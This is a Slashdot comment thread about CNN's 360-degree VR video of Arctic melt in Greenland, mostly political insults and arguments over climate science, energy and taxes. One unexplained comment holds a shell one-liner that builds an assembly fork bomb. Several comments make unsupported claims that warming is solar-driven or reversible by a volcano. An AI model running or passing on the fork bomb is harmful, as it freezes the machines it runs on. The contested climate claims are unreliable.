Slashdot Mirror
CNN Visualizes Climate Change-Driven Arctic Melt With 360-Degree VR Video (cnn.com)
dryriver writes: CNN has put up a slickly produced and somewhat alarming 360-degree browser video experience that allows the viewer to see firsthand what arctic melt looks like in Greenland. The video takes the viewer to the "Ground Zero" of climate change. Throughout the 7-minute long video, the viewer can interactively look around the locations visited. Voice narration and various scientists featured in the video explain what is happening in the Arctic, what causes the melting, and what the potential consequences are for the world.
Not sure where they come up with this fiction. Why are they trying to scare our people? SAD!
I can hear the bellyaching already. Did Hillary Clinton put you up to this?
Why is /. posting stories from this garbage source? BeauHD is a far-left antifa type methinks.
Nor is the plural of '360-degree browser video experience'.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Meanwhile, Fox News is doing a 360 degree VR video of the President's tremendous asshole.
You are welcome on my lawn.
Please add the required #Sarcasm or #MAGA tags to your post so we know what kind of cretin you are.
Thanks.
they refused to release before and after pics, so this isn't very convincing evidence. It's almost like they're trolling.
But it's for a good reason! Remember: it's okay when WE do it!
Yawn....
My /etc/hosts file contains:
127.0.0.1 cnn.com
So cnn.com is not accessible for me.
It's intentional. I do the same for other sites of net-negative value. Perhaps in a few years I will give another chance.
Ayup, one day we can farm the northern parts of Russia and Canada and add another 10 billion people to the planet.
I know, hard to believe, but AC didn't always exist
Filthy lies. I am the Alpha and the Omega. The Beginning and the End.
My Will burns through Time.
CNN Visualizes Climate Change-Driven Arctic Melt With 360-Degree VR Video
It must have been something you assimilated. . . .
Yup, and the USA will become a desert. If I were an american or a russian I would care a great fucking deal for opposite reasons. All Russia really has to to to destroy the USA is sit back and wait whilst it slowly boils to death, and ocasionally poke the right and remind them that its all an illusion and that they need to hate 'the liberals' some more.
What do you propose we DO that is not already being done?
Seriously, all these climate scare pieces never tell you what should be done, sure reduce CO2 but HOW?
And here is your sacred constraint: any action taken must not have negative economic consequences
Since when are Trump lovers a race? Just because they are mainly white does not make it racist. If someone would connect race to stupidity then it would be racist. However, in the previous post the reference to men and white where only descriptive. Anyway, I do believe that this reductionist view of Trump followers is of any use, as it does not provide any insights into the motivation of these people. Where I agree with you is that part of the present mess is the huge inequality in western societies and especially the us. Furthermore, the huge transformative forces of globalization change the live of many people without their consent. So they are not actively engaged in the change but changed by it. No one wants that. Unfortunately, we move towards a feudalistic system or oligarchic system. The people did not want that. Therefore, they voted Trump, who in turn is also just one more oligarch. In addition, he is also incompetent.
I can honestly say I have never before seen a page with this many scripts. I'm not going to waste an hour trying to figure out which ones to enable to see the video.
From the failing business known as CNN.
"The sky is falling!" https://en.wikipedia.org/wiki/...
Stays in VR!
And if it is, there's not one F'n thing that we can do about it. We don't have the tech to NOT burn fossil fuels. Try it, and food doesn't get to market, commerce goes to near-zero, people starve, etc. We _need_ the energy from fossil fuels, and whining about it just won't change that.
Wind and solar is cool, we should keep building it, and battery tech is getting better too. Will battery tech get to the point that it can replace the internal combustion engine? Maybe. If not, we then have to figure out how to deliver grid electricity to a car / truck / airplane / ship / etc. in motion.
And if this warming is due instead to natural forces as some believe, then we should be pouring a lot of effort into geo-engineering, which may be the only way to mitigate the temperature rise.
Bali volcano REVERSE global warming: NASA say Mount Agung could plunge earth into ice age
https://www.express.co.uk/news/world/885802/Bali-volcano-Mount-Agung-news-update-freeze-climate-change-global-warming-NASA-indonesia
And what I never understood is why Canada is as environmentally responsible as it is. The warming affects northern climates more, it would improve thier growing seasons and bring profitable new crops. Admittedly, thier ice roads will cease to work, but what the hell, a few years later after all that melted permafrost vents its methane, there won't be as much swamp and you could put real roads in. It amazes me Canada isn't doing more to make Canada first.
That's cute, but the sunspot cycle is the first thing everyone looked at. Sorry, no match.
http://notrickszone.com/2017/11/09/new-paper-most-modern-warming-including-for-recent-decades-is-due-to-solar-forcing-not-co2/
I didn't see one person in the video cutting their carbon emissions. So, it is okay for them but not okay for everyone else. When I start seeing the stupid people making these videos cutting their carbon footprint, then I might start taking action.
I bet good money everyone making that video is still driving their car to work. I put more miles on my bicycle a year than I do my car. AND I've been doing it for 4 years now.
So again, I'm calling Bullshit.
Got a link to back up that assertion?
If you wish to prove a point, claiming "I already did!'" is not evidence. Global warming is happening, but you must be consistent and not lie to convince others. 2017 arctic ice is within historical norms unless very, very careful selection of beginning and ending years to start at peaks (1972, 1981, 1996, 2008) and end in valleys (1985, 1995, 2007, 2013, 2016).
I agree with your points that it's important to be careful with data, but no, at the moment it looks like Arctic ice is significantly lower than historical norms. Here's the graph as of last month: http://nsidc.org/arcticseaicen...
Interactive chart is here: https://nsidc.org/arcticseaice...
If you want total volume, and not coverage, the best data is from the NASA GRACE mission (measuring gravity). That mission is now over. But here's data: http://polarportal.dk/en/groen... , and here's a visualization through 2014: https://gracefo.jpl.nasa.gov/r...
http://www.geoffreylandis.com
And if it is, there's not one F'n thing that we can do about it. We don't have the tech to NOT burn fossil fuels.
But we do have the tech to use them much much more efficiently.
A lot is already being done. Solar power is being implemented on a large scale, for example.
My suggestion for what else to do would be to put some next-generation nuclear power plants into operations. We basically know the problems with nuclear power now; and it is possible to design better power plants; let's do it.
Try it, and food doesn't get to market, commerce goes to near-zero, people starve, etc. We _need_ the energy from fossil fuels, and whining about it just won't change that.
The fact that we can't (easily) drop fossil fuel use to zero doesn't mean that we can't reduce the use, and make wise choices about what applications we need fossil fuels for, and what we don't.
Wind and solar is cool, we should keep building it, and battery tech is getting better too. Will battery tech get to the point that it can replace the internal combustion engine? Maybe. If not, we then have to figure out how to deliver grid electricity to a car / truck / airplane / ship / etc. in motion.
Agree, all good ideas.
And if this warming is due instead to natural forces as some believe,
It's not. Really. We've been looking at the inputs and outputs very extensively, and with a very large amount of data (climate science actually is grounded in data), and there just isn't enough variation in natural inputs to account for the changes seen.
then we should be pouring a lot of effort into geo-engineering, which may be the only way to mitigate the temperature rise.
No, if our models of climate were so wrong that we can't even understand what causes warming now, it would be suicidal to mess around with the controls we don't understand.
http://www.geoffreylandis.com
Sure, you are making a video about the effects of climate change. So let's burn more fossil fuels hauling this useless reporter to the middle of nowhere so she can chatter with a condescending tone on video. Or some of these people could put their money where their mouth is and stop driving, Rent a $3000 a month studio near where they work, and make sure they always turn out the lights when they leave a room. Instead they drive SUV's live 30 miles or more from where they work, and probably leave all the lights on when they leave the house. Yeah climate change is happening. But until people wake up and stop making polluting the atmosphere profitable, this will continue to happen. Stop buying a new iPhone every year, Stop driving gas inefficient vehicles to work unless there is a reason to (contractors, truck drivers).
It's really an impressive piece of software. In skilled hands it can fool just about anyone.
An animated video with no basis in reality does not constitute scientific evidence. Especially from CNN which has demonstrated a long history of deceiving the public.
Eternity: will that be smoking, or non-smoking? I Corinthians 6:9-10
If we were to geo-engineer, we should do it in a reversible manner. That is, say, do something in outer space that we could reverse by crashing whatever it is back into the ocean, rather than doing something to the ocean itself and maybe have that run away with itself and turn the planet into a snowball. Using biological entities to change things would seem particularly dangerous since they range from difficult to impossible to control if they start doing something counterproductive.
And I don't think "reducing" CO2 production is effective enough to contemplate. We need to zero CO2 production so that the atmosphere can start cleansing itself, rather than just increase the CO2 concentration more slowly.
With the big dollar signs at the end of the rainbow for anyone that can make our transport systems run on electricity, and for efficient wind and solar where the fuel cost for all is $0, we probably really don't have to do anything other than 1) make industry cheaper to do (what the President is trying to do with his tax cuts) and 2) Get the hell out of the way (stop impeding things with laws and regulations.) Someone will figure out the ultimate wind machine or solar electric generator, and someone else will either figure out the magic battery or a way to use grid electricity (I know one way... lots of infrastructure building associated with it) and we'll get our zeroized CO2 society. Probably 50 years from now before we can do it. But if we do it without making things more expensive because we're trying to do things before we're ready, we might not kill so many people by plunging them into poverty. Poverty kills more efficiently than even smoking. Smoking will take 7 years off your life on average, but living in poverty will take 10 years off your life - froze to death in a refrigerator carton under a bridge, failed to go to the doctor for lack of money and found to be terminal in the ER when the pain got too great, etc. Anyway, I think the best thing to do is to promote industry to the max, and let whatever genius tries the hardest succeed in saving us with electrical ways to do things. Electric cars are getting around 3 mi / KwH and a KwH around here is 12.5 cents. That's 33.3 KwH / 100 miles and therefore $4.16 / 100 miles. At 27 mi / gallon of premium at $2.70 / gallon, that's $10 / 100 miles, far more expensive, and electric would probably still be faster off the line than my very-quick Subaru WRX. Do I want an electric car like that? You bet. I sold my 2012 WRX in 2015, just 3 years old, with 124,000 miles on the odometer. Could I have saved a ton of money on fuel if it was electric and otherwise performed like my WRX? You bet. Some genius is just going to have to figure out how to refuel the car in the same time as gasoline - I drive 600 - 800 miles a day when I travel and that doesn't allow for sitting around for 1/2 hour each fueling, and the power companies are going to have to supply the electric. Hey, maybe charging electric car batteries AT the solar farm during the sunshine, and then trucking them to the refueling points out by the interstate will get around the devaluation of solar electricity that occurs now because of the oversupply of it when the sun shines, and the complete lack of it when it doesn't. Just some thoughts - hope it happens - I'm 70 and will be unlikely to see it. They'll probably figure all this out maybe 50 years from now, which will be plenty of time to start reversing the concentration of CO2 in the atmosphere.
Oh, yeah,one other thing we could do to improve the CO2 situation is to wrest manufacturing from the likes of China, India, and the rest of the otherwise 3rd-world places where they use coal and get them into the USA by beating the hell out of those places in the marketplace. No, that isn't a function of those country's low wages, it is a function of our egregious income taxes. Zero the income taxes in the USA, and we could end up with the vast majority of the world's manufacturing, and would make things cleaner because of
Gospel singers are all stupid...
Fake VR!
You're actually criticising them for opting not to exercise their first amendment rights? The whattaboutery is particularly dense in this one
No, the chart gave the average from 1981 to 2010, and also the the two standard deviation error bar. This is an example of how to do statistics right: compare to averages, show standard deviations, and link to the data.
And 1981 is not "a peak"-- in fact, if you look at the data (I assume you didn't), it is pretty much identical to 1979, 1980, 1982, or 1983.
The interactive version is here, allowing you to look at individual years: https://nsidc.org/arcticseaice...
http://www.geoffreylandis.com
My suggestion for what else to do would be to put some next-generation nuclear power plants into operations. We basically know the problems with nuclear power now; and it is possible to design better power plants; let's do it.
I'm not against nuclear power by a long shot, but this is a bit overly optimistic. We know the problems with current nuclear power plant designs now. It is possible to design new power plants that fix the short comings of current designs, but we don't know what problems those new designs would have. Although, we can predict some of the problems with new designs, it's the ones we can't predict that are going to be the real problem. For example, Canada designed a pair of new reactors to produce medical isotopes in the early 90s. Neither reactor has ever produced any isotopes. Both reactors have been plagued by design flaws and failures, to the point where they were permanently shut down before they were ever used.
Today there are few people who can afford to test a new reactor design. Public opinion is against trying new reactors because of nuclear power's history of sensational failures, and most private companies would be literally betting their entire future on a untried design. If it didn't work they'd be left with billion dollar losses. Generally speaking, investors don't like that kind of risk.
Fanatically anti-fanatical
Let that be a lesson to you, maybe Canadians aren't as evil as you.
Fanatically anti-fanatical
Hey, Asshole,
I am a physicist, and a white man. I believe in anthropomorphic climate change, based upon the research results I have seen and the peer reviewed papers I have read.
Your comment is a racist insult to white males everywhere who are not too stupid to read peer reviewed, accepted science.
I will however admit to having fucked various mothers in my time, though right now the gal I fuck has had no children as yet.
Oh, yeah,one other thing we could do to improve the CO2 situation is to wrest manufacturing from the likes of China, India, and the rest of the otherwise 3rd-world places where they use coal and get them into the USA by beating the hell out of those places in the marketplace. No, that isn't a function of those country's low wages, it is a function of our egregious income taxes. Zero the income taxes in the USA, and we could end up with the vast majority of the world's manufacturing, and would make things cleaner because of our advancing use of wind and solar, as well as our diminishing use of coal due to other, cleaner ways to do it being used in the USA. That's what Trump is trying to do with his tax cuts, get the industry back inside the USA, although it would work much better if we adopted the Fairtax.
And return to the Gilded Age, where most families were literally owned by company towns and runaways were shot on site by private armed forces? No thanks.
"And return to the Gilded Age, where most families were literally owned by company towns and runaways were shot on site by private armed forces? No thanks."
Hadn't heard about that. Gilded age was 1865 - 1900, right? That was when many men carried firearms routinely, right? Must have been a real dangerous thing to try to chase one of those, when they can return fire.
I really doubt the ability to return to such a situation, esp. with >300,000,000 firearms in the country now.